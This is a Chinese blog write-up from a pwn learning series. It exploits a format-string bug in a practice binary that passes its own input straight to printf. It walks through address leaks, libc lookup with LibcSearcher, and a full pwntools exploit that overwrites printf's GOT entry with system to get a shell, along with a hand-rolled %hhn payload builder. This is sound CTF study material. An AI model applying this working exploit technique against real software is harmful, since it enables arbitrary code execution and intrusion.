Pwn 学习 fmt_str_level_1_x86 格式化字符串

本文详细介绍了fmt_str_level_1_x86程序中的格式化字符串漏洞利用过程,包括checksec分析、源码解读、漏洞剖析、gdb动态调试,以及如何通过payload构造执行shell。涉及了地址泄露、函数指针劫持和Libc版本查找等关键步骤。
摘要由CSDN通过智能技术生成

1.checksec

在这里插入图片描述

  • 保护全开
  • 这也是格式化字符串常见类型

2.源码

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

int init_func(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    return 0;
}

int dofunc(){
    char buf[0x100];
    while (1){
        puts("input:");
        read(0, buf, 0x100);
        if( !strncmp(buf, "quit", 4) ){
            break;
        }
        printf(buf);
    }
    return 0;
}

int main(){
    init_func();
    dofunc();
    return 0;
}

3.编译

gcc -m32 -fstack-protector fmt_str_level_1.c -o fmt_str_level_1_x86

4.漏洞分析

在这里插入图片描述

4.1.格式化字符串

  • 可以看到这里有无格式的printf函数
  • 可以利用利用这个函数来实现格式化字符串

4.2.利用过程

第一次泄露

  • 泄露rbp下的main函数返回地址
  • 由此计算main函数的真实地址
  • 通过elf读取静态elf文件,获取静态偏移 main-puts_got
  • 再计算动态puts函数的got表项地址

第二次泄露

  • 使用%s泄露puts函数的真实地址
  • 通过LibcSearcher寻找libc版本
  • 通过libc.dump函数寻找libc中puts函数的地址
  • 再通过puts函数的动态地址减去libc中的puts函数的地址计算的到libc的基地址
  • 通过libc的基地址计算system函数的地址以及bin/sh的地址
  • 通过elf读取静态elf文件计算printf函数的真实地址

第三次泄露

  • 利用pwntools自带的fmtstr_payload构造payload
  • 将printf的真实地址填充到payload中
  • 发送payload
  • 即可获取shell

5.gdb动态调试

5.1.查看格式化字符串偏移

在这里插入图片描述

  • 使用经典调试大法
  • 此时可以看出第7个%p即可泄露栈上的内容

5.2.泄露main函数地址

在这里插入图片描述
在这里插入图片描述

  • 这里已经成功泄露main+41的地址
  • main_addr = main_41 - 41

5.3.计算puts_real_got_addr

main_30 = int(io.recv()[2:10], 16)
main_real_addr = main_30 - 30
offset = elf.symbols['main'] - elf.got['puts']
puts_real_got_addr = main_real_addr - offset - 0xb # 这个0xb是在调试中减去的,可能是因为版本的问题

5.4.泄露puts_real_addr

payload_search_bass = flat([puts_got, b'%7$s\x00'])

5.5.泄露libc版本

libc = LibcSearcher('puts', puts_real_addr)
libc_base_addr = puts_real_addr - libc.dump('puts')
print('libc_base_addr is ', hex(libc_base_addr))
sys_addr = libc_base_addr + libc.dump('system')
print('sys_addr is ', hex(sys_addr))
addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')

5.6.计算printf函数地址

offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']

printf_real_got_addr = main_real_addr - offset_addr_of_printf -11

5.6.fmtstr_payload构造写got的payload

payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})

5.7.发送payload即可执行shell

6.exp

from pwn import *
from LibcSearcher import *
# log_level='debug', 

def fmt(prev, word, index):
    fmtstr = ""
    if prev < word:
        result = word - prev
        fmtstr += "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word -prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
    # offset pianyi
    # size 4 or others
    # addr : write to addr
    # target : content of writing
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

'''
pwntools工具: fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用&n写入的数据, 采用字典形式,格式目标地址:准备修改的值}
第三个参数表示已经输出的字符个数, 这里没有, 为0, 采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hn写。fmtstr payload函数返回的就是payload
payload = fmtstr payload (offset, { addressl:valuel} )
'''

context(log_level='debug', arch='i386', os='linux')

pwnfile = './fmt_str_level_1_x86'

elf = ELF(pwnfile)

#libc = elf.libc

io = process(pwnfile)

payload_search_main = b'%75$p\x00'

io.recvuntil('input:\n')

io.send(payload_search_main)

main_30 = int(io.recv()[2:10], 16)

main_real_addr = main_30 - 30

offset = elf.symbols['main'] - elf.got['puts']

puts_got = main_real_addr - offset - 0xb

print('puts_got_addr is ',hex(puts_got))

payload_search_bass = flat([puts_got, b'%7$s\x00'])

#gdb.attach(io)

io.send(payload_search_bass)

io.recv(4)

puts_real_addr = u32(io.recv(4))

print('puts_real_addr is ', hex(puts_real_addr))

libc = LibcSearcher('puts', puts_real_addr)

libc_base_addr = puts_real_addr - libc.dump('puts')

print('libc_base_addr is ', hex(libc_base_addr))

sys_addr = libc_base_addr + libc.dump('system')

print('sys_addr is ', hex(sys_addr))

addr_bin_sh = libc_base_addr + libc.dump('str_bin_sh')

print('addr_bin_sh is ', hex(addr_bin_sh))

offset_addr_of_printf = elf.symbols['main'] - elf.got['printf']

printf_real_got_addr = main_real_addr - offset_addr_of_printf -11

# 013-008

print('printf_real_got_addr is:', hex(printf_real_got_addr))

system_addr_str = str(hex(sys_addr))

#system_addr_bytes = system_addr_str.encode('utf-8')

#payload_set_stack = p32(printf_real_got_addr) + p32(printf_real_got_addr + 1) + p32(printf_real_got_addr + 2) + p32(printf_real_got_addr + 3) + b_1 + b_2 + b_3 + b_4
#payload_set_stack = p32(printf_real_got_addr) + b"%" + system_addr_bytes + b"c%7$n\x00"

# payload_set_stack = fmt_str(7, 4, printf_real_got_addr, sys_addr)

payload_pwntools_create_set_stack = fmtstr_payload(7, {printf_real_got_addr : sys_addr})

io.recvuntil('input:\n')

gdb.attach(io)

io.send(payload_pwntools_create_set_stack)

io.interactive()

7.执行exp

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值